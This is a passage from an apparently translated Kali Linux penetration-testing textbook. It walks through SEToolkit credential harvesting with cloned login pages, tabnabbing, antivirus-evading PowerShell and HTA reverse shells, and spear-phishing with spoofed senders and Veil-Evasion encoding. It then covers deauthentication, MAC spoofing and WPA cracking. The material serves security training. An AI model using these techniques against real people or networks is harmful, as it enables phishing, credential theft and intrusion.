这种攻击与广泛重用的凭据用户高度相关，典型情况是，一个用户通常在多个地方重复使用密码。

特别珍贵的是有访问特权的用户凭据，如系统管理员或数据库管理员，它可以提供给攻击者访问多个账户和数据库的凭据。

SEToolkit的凭据收割攻击，使用克隆的网站收集凭据。

要发动攻击，从主菜单中选择Website Attack Vectors（网站攻击向量），然后选择Credential Harvester Attack Method（凭据收割攻击方法）。作为例子，我们将按照菜单选项来克隆一个网站，如Facebook。

接着，目标地址必须发送到预定目标。当目标点击链接或输入IP地址，会出现一个克隆页面，类似于Facebook的登录页面，他们会被提示输入用户名和密码。

一旦这样做，用户将被重定向到普通的脸谱网站，在那里他们将登录到自己的账户。

在后台中，他们的访问凭据将被收集并转发给攻击者。在监听者窗口将看到下面的条目，如图5.12所示。
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图5.12　收集凭证的监听者窗口

当攻击者已经完成收集凭据后，输入Ctrl+C，在/SET/reports/目录中，将产生XML和HTML两种格式的报告。

当用户点击链接到新的位置，他们将见到一个克隆页面，似乎是一个与预期相符的页码，如图5.13所示，该网页将收获他们的登录凭据。

[image: ]


图5.13　受害者见到的克隆页面

请注意，在URL栏的地址不是谷歌的有效地址，大多数用户都知道，如果他们查看地址，这个地址是错误的。一个成功的利用，攻击者需要一个合适的借口或故事，使受害者接受不寻常的网址。例如，发送一封电子邮件给一组非技术性管理者的目标群，宣称：“本地谷歌邮件网站正在减少邮件系统的延误。”

凭据收割攻击是评估企业网络安全的一个很好的工具。要使其充分发挥作用，该组织必须首先培训所有员工识别和应对网络钓鱼攻击。大约2周后，发送一个企业范围内的电子邮件，包含一些明显的错误（不正确的企业总裁名或包含错误地址的地址块）和一个链接到收获凭据的程序。计算收件人中使用他们的凭据回应的百分比，然后调整培训计划，以减少这一比例。


5.4.2　使用网站攻击向量——标签钓鱼攻击方法

标签钓鱼（tabnabbing）利用用户的信任，在一个浏览器打开的标签页中加载一个假网页。通过模拟网页的网站如Gmail、facebook或任何其他网站发布的数据（通常是用户名和密码），一个标签钓鱼攻击可以收集受害者的凭据。社会工程工具包调用凭据收割攻击，如之前所述。

为了发动这次攻击，从一个控制台提示符启动社会工程工具包，然后选择1）Social-Engineering Attacks。在下一个菜单中，选择2）Website Attack Vectors。最后，标签钓鱼攻击通过选择4）Tabnabbing Attack Method来启动。

当攻击被启动时，你将看到有三个选项来生成的假网站，假网站用来收集凭据。攻击者可以让SEToolkit导入一个预定义Web应用的列表，克隆一个网站（比如Gmail），或者导入自己的网站。在这个例子中，我们将选择2）Site Cloner（网站克隆）。

这将促使攻击者进入服务器将发布的IP地址，这通常是攻击者的系统的IP地址。

攻击者必须使用社会工程，迫使受害者访问地址后，产生返回的行动（例如，缩短URL）。受害者会收到一个消息，该网站正在加载（如在浏览器的不同标签下攻击脚本加载克隆网站，如图5.14所示）。
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图5.14　加载克隆网站

然后，假网页将被呈现（虚假的IP地址仍然可见）。如果用户输入他们的用户名和密码，数据将被发送到攻击者的监听器。正如你在图5.15中看到的那样，它捕获了用户名和密码。
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图5.15　标签钓鱼攻击捕获用户名和密码


5.4.3　使用网站攻击向量——综合攻击网页方法

“玛丽冰雹”攻击的网站攻击向量就是综合攻击网页方法（Multi-Attack Web Method），它允许攻击者在一次执行几种他们所选的不同的攻击。默认情况下，所有的攻击都是被禁用的，并且攻击者选择一个受害者，如图5.16所示。
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图5.16　选择多种攻击方法进行综合攻击

这是一个有效的选择，如果不能确定攻击对目标组织的攻击是有效的；攻击者会先选择一名员工进行攻击，确定成功攻击后，再利用这些方法攻击其他员工。


5.4.4　使用PowerShell字母数字的shellcode注入攻击

社会工程学工具包还包含基于PowerShell的更有效的攻击，适用于所有微软Vista发布后的微软操作系统。因为PowerShell的shellcode可以很容易地被注入到目标的物理内存中，使用该载体的攻击不会触发病毒警报。

为了使用SEToolkit发起PowerShell的注入攻击，从主菜单选择1）Social-Engineering Attacks。然后从下一级菜单选择10）Powershell AttackVectors。

这会给攻击者四种攻击类型以供选择；例如，选择1，使用PowerShell Alphanumeric Shellcode Injector。

这将设置攻击参数，并提示攻击者输入有效载荷监听器的地址，通常是攻击者的地址。当这个已被输入，程序将创建利用代码，并开启一个本地监听器。

PowerShell展开攻击的shellcode，是存储在/root/.set/reports/powershell/x86_powershell_injection.txt中的。当攻击者说服受害者在命令提示符下复制x86_powershell_injection.txt文本的内容时，攻击的社会工程行为发生，并执行代码，如图5.17所示。
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图5.17　PowerShell攻击成功

如图5.18所示，Shellcode的执行没有触发目标系统上的反病毒报警。相反，当代码被执行时，它在攻击系统上打开了Meterpreter会话，并允许攻击者攻击系统与远程系统交互shell。
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图5.18　Meterpreter会话


5.4.5　HTA攻击

这种类型的攻击是一个简单的HTML应用程序，可以为远程攻击者提供完全访问。HTA通常的文件扩展名为.hta。HAT文件与任何具有扩展名为.exe的可执行文件一样。当通过mshta.exe执行（或者文件图标被双击），它将立即运行。当通过浏览器远程执行时，在HTA下载之前询问用户一次，是否保存并运行应用程序；如果保存，它可以简单地按需运行。

攻击者可以使用Web技术为Windows操作系统创建恶意应用程序：要使用SEToolkit启动HTA攻击，请从主菜单中选择1）Social-Engineering attacks。然后从下一个菜单中选择2）Website Attsck Vectors，然后选择8）HTA Attack Method，然后选择2）Site Cloner克隆任何网站，在这个例子中，我们将克隆Facebook.com，如图5.19所示。
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图5.19　克隆Facebook.com

一旦安装完成后，攻击者选择了正确的有效载荷，在这个例子中，我们使用的是Meterpreter Reverse HTTPS，如果攻击完成，攻击者将能够获得反向shell到TCP端口443。

攻击者将发送假Facebook.com服务给受害者用户进行网络钓鱼，图5.20展示了受害者会看到的界面。
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图5.20　受害者看到的界面

如果受害者在本地运行HTA文件，这将打开与攻击者的反向连接，如图5.21所示。SEToolkit应该从Metasploit自动设置监听器。
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图5.21　受害者打开与攻击者的反向连接


5.5　隐藏可执行文件与伪装攻击者的URL

正如前面的例子所述，在发起一个社会工程攻击，有两个成功的关键因素。首先需要获得一些必要的攻击信息，如用户名、商业信息、网络细节、系统，以及应用等。

然而，大多数的工作努力都集中在第二方面，各具特色的攻击，以吸引目标进入一个位置，打开一个可执行文件，或点击一个链接为目的。

想成功攻击，就要求受害者执行一些攻击生成模块。如今用户对执行未知的软件变得越来越谨慎小心。然而，有一些方法可以增加成功执行攻击模块的可能性，主要包括以下几点：

·攻击来自受害者信任和已知的系统，或伪装了的攻击源地址。如果攻击来自于帮助平台或IT支持位置，并声称是一个“紧急软件更新”，软件可能会被执行。

·将可执行程序重命名为类似于可信的软件，例如“Java更新”。

·将恶意的有效载荷嵌入良性文件，如使用Metasploit的adobe_pdf_embedded_exe_nojs攻击，嵌入到一个PDF文件中。

·可执行文件也可以绑定到微软Office文件、MSI安装文件，或BAT文件，配置在桌面上默默地运行。

·有用户点击下载该恶意可执行文件的链接。

由于SEToolkit使用攻击者的URL作为其攻击的目标，一个关键的成功因素是确保攻击者的URL对受害者是可信的。有几种技术来完成这一任务，包括以下内容：

·缩短的URL，使用如goo.gl或tinyurl.com的服务。缩短的网址常见于社会媒体，如Twitter，受害者点击这样的链接时很少使用注意事项。

·在社交媒体网站如Facebook或LinkedIn进入链接；网站会创建自己的链接来代替你的，使用目标页面的映像。然后，删除你输入的链接，留下新的社交媒体链接。

·在LinkedIn或Facebook上创建假网页。作为攻击者，你应控制内容，并能创造一个令人信服的故事，驱动成员点击链接或下载可执行文件。一个良好的执行页面将不仅针对员工，而且针对供应商、合作伙伴和他们的客户，最大限度地提高社会工程攻击的成功率。

·将链接嵌入文件，如嵌入PowerPoint。

要在PowerPoint中嵌入一个链接，启动它，创建一个幻灯片，保存的扩展名为.pps。给出一个目标群体感兴趣的标题，并创建一个通用内容文件。在第一页，插入一个文本框并拖动该框以覆盖该幻灯片的整个表面。点击Insert（插入），然后选择动作标签。在对话框中，单击Hyperlink（超链接）按钮，从下拉菜单中选择URL（网址）。输入用来发动攻击的URL，如图5.22所示。
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图5.22　在PowerPoint中嵌入链接

当文件被打开时，它开始作为一个全屏幻灯片。由于攻击是通过鼠标发射的，用户在试图关闭该文件时，将发动攻击。


5.6　使用DNS重定向攻击的升级攻击

如果一个攻击者或渗透测试者，已经侵入内部网络中的一个主机，他们可以使用DNS重定向升级攻击。这通常被认为是一个横向攻击（它侵入的人有大致相同的访问权限），但是，如果捕获了特权人员的凭据，它也可以垂直升级。在这个例子中，我们将用Bettercap作为嗅探器，拦截和记录交换式局域网。它有利于中间人攻击，但是我们将用它来启动一个DNS重定向攻击，转移用户到我们的社会工程攻击的网站。

开始攻击，我们可以创建一个新的DNS配置文件，在这个例子中，我们将使用/root/folder到dns.conf，我们可以编辑具有以下内容的配置文件来执行DNS重定向：
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将文件保存到本地任何位置，然后使用以下命令与我们创建的配置文件一起启动BetterCap：
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我们现在可以运行BetterCap，它将自动调整网络上的所有系统，将任何到microsoft.com的请求重定向到192.168.0.116，如图5.23所示。第12章将进一步探讨BetterCap。
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图5.23　运行BetterCap


5.7　网络钓鱼攻击曝光

钓鱼攻击是针对大量受害者的邮件诈骗攻击，例如，对已知的美国互联网用户列表进行攻击。一般情况下，无法直接连接目标，并且邮件也不针对某个指定目标。

相反，邮件一般包含很多人都感兴趣的话题（例如，点击此处购买药品），并且包含恶意链接或附件。出于好奇心，总会有一些人会点击链接或者附件，从而触发攻击。

从另一方面来说，网络钓鱼是钓鱼攻击的一种特殊的方式。通过特殊的方法，手工生成email消息，攻击者希望吸引特定人群的注意。例如，如果攻击者得知销售部门使用特殊的系统管理客户关系，他可以伪造一封来自系统开发商的邮件，主题为“<应用>紧急修复补丁——点击链接下载”。

在发起攻击之前，要确保Kali中已安装了Sendmail（apt-get install sendmail），并且将配置文件set_config中的SENDMAIL=OFF选项，修改为SENDMAIL=ON。

为了加载一个攻击，从SEToolkit菜单中选择社会工程攻击（Social Engineering Attacks），然后在子菜单中选择网络钓鱼攻击选项（Spear-Phishing Attack Vectors）。此时会加载该攻击的开始选项，如图5.24所示。
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图5.24　SEToolkit的网络钓鱼攻击子菜单

选择1进行一次大量email攻击，然后会显示多个攻击载荷的列表，如图5.25所示。
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图5.25　email攻击

攻击者可以根据在侦察阶段获得的可用目标的知识来选择任何可用的有效载荷。在此举个例子，我们用7）Adobe Flash Player“Button”Remote Code Execution作例子。

当选择7）时，将提示选择有效载荷，如图5.26所示。在本例中我们使用了Windows Meterpreter反向shell HTTPS。
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图5.26　提示选择有效载荷

一旦从SET控制台准备好了有效载荷和漏洞，攻击者就会得到如图5.27所示的确认。
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图5.27　攻击者得到确认

现在可以通过选项2.Rename the file重命名文件。文件名I want to be cool（我想要很酷）。

重命名文件后，将获得两个选项：E-mail Attack Single Email Address（单个电子邮件攻击），或者E-mail Mass Mailer（攻击大量邮件），如图5.28所示。
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图5.28　获得攻击邮件选项

攻击者可以选择多个邮件或个人目标较弱的受害者。如果使用单一的电子邮件地址，SET会提供进一步的攻击者使用的模板，如图5.29所示。
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图5.29　SET提供的攻击者使用的模板

在选择钓鱼模块之后你有两种选择发起攻击：（1）用你自己的Gmail账户，（2）使用自己的服务器或开放中继。如果你使用一个Gmail账户。它的攻击可能失败。Gmail检查发送的邮件的恶意文件，能非常有效地识别SEToolkit和metasploit框架产生的载荷。如果你必须使用Gmail发送有效载荷，首先用Veil-Evasion编码。

建议您使用sendmail选项发送可执行文件；进一步，它允许你恶搞电子邮件的来源，使它看起来好像来自受信任的来源。

为了确保电子邮件是有效的，攻击者应该关注以下几点：

·内容应该提供一个“胡萝卜”（新的服务器更快，反病毒措施有改进）和一个“棒”（在你可以访问你的电子邮件之前，你不得不做一些更改）。大多数人都会立即采取行动，特别是在影响到他们的时候。

·在前面给出的例子中，所附文件的标题是template.doc。

·在真实的场景中，这将改变Email instructions.doc。

·确保你的拼写和语法是正确的，并且在信息的语调匹配信息的内容。

·个人发送电子邮件的标题应该与内容匹配。

·如果目标的组织很小，你可能要恶搞真正的人的名字，并且发送电子邮件给一个小组，一般不与个人交互。

·包含一个电话号码，它能使邮件看起来更“官方”，并且，有不同的使用商业语音的IP解决方案，获得本地区号短期的电话号码。

一旦攻击的电子邮件发送到目标，成功激活（收件人启动可执行文件）将创建一个反向的Meterpreter隧道到攻击者的系统。攻击者会利用Meterpreter和其他工具进行典型的后期利用活动。


5.7.1　用Phishing Frenzy搭建网络钓鱼活动

Phishing Frenzy是另一个开源的Ruby on Rails应用程序，被攻击者或渗透测试人员利用，以发起复杂的网络钓鱼活动。这个工具的目的是统一简化所有的网络钓鱼活动。使用以下命令在Kali Linux上安装Phishing Frenzy（见图5.30）。

[image: ]


[image: ]


图5.30　使用命令安装Phishing Frenzy

Passenger模块编译完成后，必须通过导航到/etc/apache2/apache2.conf来编辑apache2配置文件，并添加以下代码：
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编辑文件后，保存文件，并按Enter键到Passenger正在运行的控制台。如果所有配置完成，则会显示一条成功的消息，如图5.31所示。
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图5.31　配置完成后的成功提示

为了掌控这个网站，我们必须包含一个具有虚拟主机信息的文件；在这种情况下，我们将在同一个文件夹/etc/apache2/pf.conf中创建pf.conf，然后在Apache配置文件中包含一行。

pf.conf的内容包括：
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所有其他具体指导可在从https://www.phishingfrenzy.com/resources/install_kali_linux
 获取。

Phishing Frenzy利用redis与具体的redis协议的外部程序通信。一旦安装了所有需要的ruby bundle，下一步就是安装redis服务器，可以从http://download.redis.io/releases/redis-stable.tar.gz
 中下载：
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redis的成功安装如图5.32所示。

现在让redis服务器监听端口6279，但是默认的redis服务器在端口6379上运行。一旦数据库配置了所有必须的Ruby-and Rails专用库，测试人员就可以通过运行rake db：migrate自动创建数据库中的表，如图5.33所示。
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图5.32　成功安装redis
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图5.33　迁移并自动创建数据库中的表

最后，如果一切都设置并运行，你就可以看到如图5.34的登录界面。
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图5.34　设置完成后的登录界面

自动脚本的测试版本是为了在Kali linux上安装Phishing Frenzy而编写的，可以在https://github.com/vijayvkvelu/Frenzy
 找到。


5.7.2　发起网络钓鱼攻击

现在我们都将使用Phishing Frenzy来发起网络钓鱼活动。以下是攻击者通常设置的一个非常真实的活动的步骤：

转到Campaigns，然后点击New Campaign（新建活动）按钮，例如companyz并输入说明，如图5.35所示。
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图5.35　Campaigns按钮

一旦创建了新的活动，现在需要填写我们确定的目标的重要部分。攻击者可能会选择在互联网上托管自己的SMTP中继服务器。活动的四个主要部分如下：

·模板（Template）：它允许攻击者选择预定义的模板进行网络钓鱼；但是，可以通过从顶部菜单导航到模板部分来相应地进行自定义。

·SMTP：攻击者必须在默认情况下填写Outbound SMTP服务器详细信息，你会注意到Gmail、Outlook、GoDaddy和SendGrid等已经预先填写了服务器详细信息。

·电子邮件（Email）：这涉及非常关键的设置，其中攻击者现在可以将所有被动/主动侦察信息放在一起，形成正确的电子邮件发送给目标受众。在本节中，必须提供主题、表单、显示名称、回复、网络钓鱼网址和FQDN，这些信息将作为发送给受害者的最终电子邮件的一部分。

·网络钓鱼（Phishing）：网络钓鱼所需的选项是通过练习的目的来选择的，例如，网络钓鱼的目的是仅收集点击次数，或是从目标公司用户那里收集凭证。本节提供选择SMTP发送延迟、跟踪用户的点击，以及提供更多选项，如使用SSL和BEEF框架的选项。

图5.36提供了前述的选项列表。

一旦完成所有设置，攻击者可以通过单击Test来测试设置。可以通过点击Launch来执行网络钓鱼启动的最终验证。攻击者可以选择为同一公司内的不同部门创建多个活动。Phishing Frenzy提供了在一个地方跟踪所有活动的选项，如图5.37所示。
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图5.36　选项列表
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图5.37　提供跟踪活动的选项

可以使用的其他类似框架是Gophish，它提供了自己的API，用于通过电子邮件钓鱼进行社会工程攻击。


5.8　小结

社会工程学是一种黑客社会学（hacking the human）——利用人们与生俱来的信任和乐于助人的品质来攻击网络及其设备。

在本章中，我们研究了社会工程如何用来促进攻击、收获网络凭据、激活恶意软件，或协助发起进一步的攻击。大部分的攻击依赖于社会工程工具SEToolkit；然而，Kali有几个其他的应用程序，可以改进使用社会工程学的方法。我们还研究了如何进行物理访问，通常需要与社会工程相结合，可以用来在目标网络上放置敌对设备。

在下一章中，我们将研究如何对无线网络进行侦察，攻击开放的网络，以及使用基于WPA2加密保护的网络。我们还将研究一般无线协议的弱点，对它们进行拒绝服务攻击和假冒攻击。


第6章　无线攻击

“技术需要在谜团中去探索。”

鉴于移动设备的主导地位和提供即时网络连接的需要，无线网络已成为互联网上无处不在的接入点。不幸的是，无线接入在提供便利性的同时，也带来了盗窃访问、盗窃数据，以及网络资源拒绝服务等有效攻击。Kali提供了多种用于配置工具和发启无线攻击的工具，使组织机构能够提高其安全性。

在本章中，我们将审查研究几个日常任务和无线攻击，其中包括：

·配置Kali实现无线攻击。

·无线侦察。

·绕过SSID

·绕过MAC地址认证。

·破解WEP加密。

·攻击WAP和WPA2。

·使用Reaver攻击无线路由

·针对无线通信的拒绝服务（Denial-of-service，DoS）攻击。


6.1　配置Kali实现无线攻击曝光

Kali Linux几个工具的发布使无线网络的测试变得很容易；然而，这些攻击需要大量的配置，以达到充分有效。除此之外，测试人员在实施攻击或审计无线网络之前，应该拥有丰富的无线网络背景。

在无线安全测试中，最重要的工具是无线适配器，它连接到无线接入点。它必须支持所使用的工具，尤其是aircrack-ng工具的组件；特别是，该卡的芯片和驱动器必须具备向通信流注入无线数据包的能力。这是侦察、攻击的要求，必须在目标和受害者之间注入特定类型的数据包。所注入的数据包可能会引起拒绝服务攻击，允许攻击者获取破解加密密钥或支持其他无线攻击所需要的信号交换数据。

aircrack-ng网站（www.aircrack-ng.org
 ）包含一个已知的兼容的无线适配器列表。

在Kali中使用的最可靠适配器是ALFA NETWORK cards，尤其是AWUS036NH适配器，它支持无线802.11b、802.11g和802.11n协议。Alfa cards已在现有网络中使用，并支持Kali的所有测试和攻击。


6.2　无线侦察

实施无线攻击的第一步是进行侦察——它可以识别准确的目标接入点，并高亮度显示可能影响测试的其他无线网络。

如果你使用连接USB的无线网卡连接到Kali虚拟机，确保USB连接已经断开主机操作系统，并通过单击USB连接图标连接到VM虚拟机，如图6.1所示，箭头所指即USB连接图标。
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图6.1　USB连接图标

接下来，通过运行命令行中的iwconfig命令，确定哪些无线接口是可用的，如图6.2所示。
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图6.2　确定可用无线接口

对于某些特定攻击，你可能希望增加适配器的输出能力。如果你是一个合法的同位无线接入点，这是特别有用的，和你想要的目标连接在你的控制之下的虚假的接入点，而不是合法的接入点。这些虚假或者流氓（rogue）接入点，允许攻击者截获数据，并根据攻击的需要查看或更改数据。攻击者频繁复制或克隆合法的无线网站，然后增加其相对合法网站更强的传输能力，来作为吸引受害者的诱饵。使用如下命令增加传输能力：
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使用aircrack-ng及其相关工具可以执行许多攻击。首先，我们需要拦截或监控无线传输；因此，我们需要使用airmon-ng命令，为监控模式（monitor mode）设置拥有无线功能Kali通信接口：
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前面命令的执行结果如图6.3所示。

注意，返回的描述表明有些进程可能会造成麻烦。处理这些进程最有效的方法是使用综合性的kill命令，如下所示：
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图6.3　使用airmon-ng命令

使用以下命令查看本地无线环境：
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前面的命令，列出了特定时间点可以在无线适配器范围内找到的所有已识别的网络。它提供由MAC地址识别的无线网络节点的BSSID基本服务集标识符，标明了相对的输出能力、数据包发送的信息、包含使用通道和数据的带宽信息、使用的加密信息，以及提供无线网名称的ESSID。相关信息如图6.4所示，非必需的ESSID标识符已经被模糊。

airodump命令通过可用的无线信道循环执行，并确定了以下几点：

·基本服务集标识符（Basic Service Set Identifier，BSSID），它是唯一的可以标识无线接入点或路由器的MAC地址。

·每个网络的PWR或电源。尽管airodump-ng错误地显示功率为阴性，但这是一个假象的报告。为了获取正确的正值，接入终端并运行airdriver-ng unload36，然后运行airdriver-ng load35。
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图6.4　显示ESSID标识符

·CH显示了用于广播的频道。

·ENC显示使用的加密技术——它是OPN，或开放的、没有加密，或者WEP或WPA/

·WPA2（如使用加密）。加密（CIPHER）和身份验证（AUTH）提供额外的加密信息。

·扩展服务集标识符（Extended Service Set Identifier，ESSID）是由拥有相同SSID或名称的接入点组成的无线网络的名称。

在终端窗口的下半部分，你将看到站点试图连接或已经连接到无线网络。

在我们和其他任何目标（潜在的）网络交互之前，必须确认我们的无线网卡有数据包注入的能力。要做到这一点，需在终端窗口的shell提示符下，运行以下命令：
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上面的命令执行结果如图6.5所示，-9表示注入测试。
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图6.5　运行aireplay-ng-9mon0命令

Kismet

最重要的无线侦察工具是Kismet，它是一个802.11无线探测器、嗅探器和入侵检测系统。

Kismet可用于收集以下信息：

·无线网络的名称，ESSID。

·无线网络的信道。

·接入点的MAC地址，BSSID。

·无线客户端的MAC地址。

Kismet也可以用来嗅探802.11a、802.11b、802.11g和802.11n等无线通信流量中的数据。并支持用于嗅探其他无线协议的插件。

在终端窗口的命令提示符下输入kismet启动Kismet。

当Kismet启动后，你将面临一系列的问题，允许你在其启动过程中对其进行配置。用Yes回应Can you see colors，接受Kismet is running as root（Kismet以root权限运行），并对Start Kismet Server选择Yes。在Kismet的启动选项中，不选中Show Console（显示控制台），因为它会遮挡屏幕。启动Kismet（见图6.6）。
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图6.6　运行Kali的Kismet

系统将提示你添加一个捕捉接口，通常我们选择wlan0。

Kismet开始嗅探数据包，并收集位于临近物理区域的所有无线系统信息。

通过双击Kismet选择一个网络，你可以在无线网络上看到一些额外的信息。

你也可以深入研究以确定连接到各种无线网络的特定客户端。

使用Kismet作为发起一些特定的攻击（嗅探发送的数据）或识别网络的初始侦察工具。因为它能被动地收集连接数据，所以它是一个很好的隐蔽识别网络的工具，尤其是当SSID未被公开传输时。


6.3　绕过一个隐藏的服务集标识符

ESSID是标识一个无线局域网络的唯一字符序列。通过隐藏ESSID来试图实现网络安全是一个很差的方法；不幸的是，ESSID可以通过以下方式获得：

·嗅探无线环境，等待客户端关联到一个网络，然后捕获该关联。

·主动取消鉴定客户端，强制客户端关联，然后捕获该关联。

aircrack工具特别适合捕捉需要取消ESSID隐藏的数据，正如以下步骤所示：

1.在命令提示符下，输入以下命令，确认无线在受攻击系统中已经启动：
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2.使用下面的ifconfig命令，检查可用接口，并确定你使用的无线系统的确切名称。
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3.输入以下命令来启用你的无线接口（你可能需要把wlan0换成上一步骤中，确认可用的无线接口）：

[image: ]


4.如果你使用ifconfig再次确认（见图6.7），你会发现有一个监控或mon0地址正在被使用。现在，使用airodump确认可用的无线网络，如下面给出的命令：
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图6.7　使用ifconfig确认可用无线网络

正如你所看到的，第一个网络的ESSID标识是被认定为<length：9>。没有其他的名字或名称被使用。隐藏的ESSID长度被确定由9个字符组成；然而，这个值可能不正确，因为ESSID是隐藏的。真正的ESSID长度实际上可能短于或超过9个字符。

最重要的是可能存在已连接到该特定网络的客户机。如果客户端存在，我们将取消鉴定客户端，迫使他们在重新连接接入点时发送ESSID。

重新运行airodump，并滤掉目标接入点之外的一切信息。在这种特殊情况下，我们将重点从隐藏网络的信道6上收集数据，使用以下命令：
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执行该命令删除多个无线源的输出，并允许攻击者把重点放在目标ESSID上，如图6.8所示。
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图6.8　使用airodump-ng-c 6mon0命令

执行airodump命令时得到的数据表明，这有一个站点（00：0E：2E：CF：8C：7C）已连接到BSSID（00：18：39：D5：5D：61），而这又与隐藏的ESSID相关联。

为了截获正在传输的ESSID，我们必须创建一种条件，即可以让我们知道，这将在客户端和接入点之间连接发送的初始阶段。

因此，我们将针对客户端和接入点发起一个取消鉴定的攻击，发送一个可以中断它们之间的连接，并迫使它们重新鉴定的数据包流。

发动攻击，打开一个新的命令shell，并输入如图6.9所示的命令（0表明我们正在启动一个取消鉴定攻击，10表明我们将发送10个取消鉴定数据包，-a是目标接入点，c是客户端的MAC地址）。
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图6.9　使用aireplay-ng-010-a-c命令

在所有的取消鉴定数据包发送之后，返回在信道6中，可以监视网络连接的原始窗口，如图6.10所示。现在，你将看到清晰的ESSID。
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图6.10　看到清晰的ESSID

ESSID可以帮助攻击者，确认他们正在关注的是正确的网络（因为大多数ESSID基于企业标识），并使登录过程更便利。


6.4　绕过MAC地址验证与公开验证

媒体访问控制（Media Access Control，MAC）地址，用于在网络中唯一地标识每个节点。它是由六对用冒号或连字符分开的十六进制形式的数字（0-9和字母A到F）组成的，看起来通常像这个样子：00：50：56：C0：00：01。

MAC地址，通常关联到一个拥有网络能力的网络适配器或设备；因为这个原因，它经常被称为物理地址。

MAC地址的前三对数字被称为组织唯一标识符（Organizational Unique Identifier），他们用来确定生产或销售设备的公司。最后三对数字是特定于设备的，可以认为是一个序列号。

因为MAC地址是唯一的，它可以用来将一个用户关联到一个特定的网络，尤其是无线网络。这有两个重要的含义——它可以用来识别网络访问者是一名黑客，还是一名的合法网络测试者，它也可以作为鉴定个体身份，并授权他们访问网络权限的工具。

在渗透测试的过程中，测试人员可能更喜欢匿名访问网络。支持匿名信息的方法是改变攻击系统的MAC地址。

这可以使用ifconfig命令手动完成。确定现有的MAC地址，运行命令解释器中的以下命令：
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要手动更改IP地址，使用下面的命令：
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替换不同的十六进制对的“xx”表达式。这个命令将允许我们更改攻击系统的MAC地址，更改为受害者网络接受的MAC地址。攻击者必须确保这个MAC地址并没有在网络上使用，否则，如果网络被监控，重复的MAC地址可能会触发警报。

在改变MAC地址之前，无线接口必须被关闭。

Kali还允许使用一个自动化工具macchanger。要改变攻击者的MAC地址，为同一供应商生产的产品的MAC地址，可从终端窗口中使用如下macchanger命令：
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要改变现有的MAC地址为一个完全随机的MAC地址，可使用以下命令，运行该命令后的屏幕截图如图6.11所示：
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图6.11　运行macchanger wlan0-r
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有些攻击者在测试过程中，使用自动化脚本频繁地改变他们的MAC地址，以实现匿名化他们的攻击活动。

许多组织，尤其是学院和大学等大型学术团体，使用MAC地址过滤来控制谁可以访问他们的无线网络资源。MAC地址过滤使用网卡上唯一的MAC地址来控制对网络资源的访问；在一个典型的配置中，该组织维护一个允许访问网络的MAC地址白名单（whitelist）。如果传入的MAC地址不在已批准的访问列表中，将限制其连接到该网络。

不幸的是，MAC地址信息以明文传输。攻击者可以使用airodump收集接收到的MAC地址列表，然后手动改变他们的MAC地址为目标网络接受的MAC地址。因此，这种类型的过滤几乎没有为无线网络提供任何实质的保护。

一个最新水平的无线保护是由加密提供的。


6.5　攻击WPA和WPA2

无线访问保护（WiFi Protected Access，WPA）和无线访问保护2（WiFi Protected Access 2，WPA2）是用于解决WEP安全缺陷的无线安全协议。因为WPA协议可以为每一个数据包动态生成新的密钥，阻止那些导致无线保护访问失败的统计分析。然而，它们仍然很容易受到一些攻击技术的攻击。

WPA和WPA2经常使用预共享密钥（pre-shared key，PSK）进行部署，来提供访问点和无线客户端之间的安全通信。PSK是一个至少13个字符长的随机密码；如果不是13字符长，对一个已知的字典，使用暴力攻击来确定一个PSK是可能的。这是最常见的攻击。

如果是在Enterprise模式中进行配置，其可以使用RADIUS认证服务器提供身份认证，破解WPA需要更强大的机器，或者需要不同的中间人攻击


6.5.1　暴力攻击曝光

不像WEP，可以被对大量数据包的统计分析所破解，WPA解密需要攻击者创建特定的、已知详细信息的数据包类型，如接入点和客户端之间的信号交换信息。

攻击一个WPA传输，应该执行以下步骤：

1.启动无线适配器，并使用ifconfig命令来确保已创建监控界面。

2.使用airodump-ng-wlan0识别目标网络。

3.开始使用以下命令捕获目标接入点和客户端之间的流量：
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设置-c监控特定信道，--showack标志用来确保客户端计算机认可你的请求，即从无线接入点取消鉴定；而-w把输出写入一个用于后续字典攻击的文件中。这种攻击的典型输出如图6.12所示。
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图6.12　一个典型的输出

4.使该终端窗口处于打开状态，并打开另一个终端窗口发起取消鉴定攻击；这将迫使用户重新认证目标接入点，并再次交换WPA密钥。取消鉴定攻击的命令如下所示：
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执行上述命令的结果如图6.13所示。
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图6.13　执行aireplay-ng-010命令

成功取消鉴定攻击将显示ACKs，这表明连接到目标接入点的客户端，已接收到刚刚发送的取消鉴定命令。

回顾最初用于监控无线传输的开放命令脚本，确保你捕获了4次握手信息。一个成功的WPA握手会在顶部右手边的控制台中显示。在图6.14的示例中，数据显示WPA握手的值是28：10：7B：61：20：32：
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图6.14　捕获握手信息

5.由aircrack破解WPA密钥，使用一个定义的词库。由攻击者定义的，用于收集握手交互信息数据的文件名位于根目录下，而且-01.cap的扩展名将被加载到该文件名中。

在Kali中，词库位于/usr/share/wordlists目录中。虽然几种词库均是可用的，但还是建议你下载在破解常见密码中最有效的列表。

在上述示例中，密钥被预先放置在密码列表里。实施字典攻击一段时间后，破解复杂的密码可能需要花费几个小时，这取决于该系统的配置。下面的命令使用字（words）作为源词库。
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图6.15显示了成功破解WPA密钥的结果；网络监工的秘钥，在测试44个秘钥之后被发现是princessmouse。
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图6.15　发现秘钥

如果你手上没有一个定制的密码列表或者希望迅速生成一个列表，你可以使用Kali的crunch应用程序。下面的命令指导crunch程序使用给定的字符集，创建一个最小长度5字符和最大长度25字符的单词列表。
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你还可以使用基于GPU的密码破解工具，提高暴力攻击的有效性（AMD/ATI的图形卡oclHashcat和英伟达显卡cudaHashcat）。

要实现这种攻击，首先需要使用以下命令把WPA握手信号交互捕获的文件psk-01.cap转换成hashcat文件：
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转换完成后，针对最新捕获文件，使用以下命令运行hashcat（选择匹配你的CPU架构和图形卡的hashcat版本）：
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如果有多个CPU，可以利用Pyrit来破解密码。Pyrit允许攻击者预先大量计算WPA/WPA-PSK。Pyrit可以从https://github.com/JPaulMora/Pyri
 下载。该工具利用其他平台，如ATI-Stream、Nvidia CUDA和OpenCL，具有多CPU的计算能力。攻击者可以利用John the Rippe、cowpatty与Pirit一起使用，通过在终端中使用以下命令从捕获的无线流量中破解密码：
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基本上，Join the Ripper将为所有的字符、特殊字符和数字逐步创建一个字典。之后，输出将被传递给Pyrit，使用遍历关键字破解密码，另外cowpatty会破解特定WiFi-ESSID的密码。


6.5.2　使用Reaver攻击无线路由器曝光

WEP和WPA2也很容易受到针对无线保护设置的接入点、WPS和个人识别码的攻击。

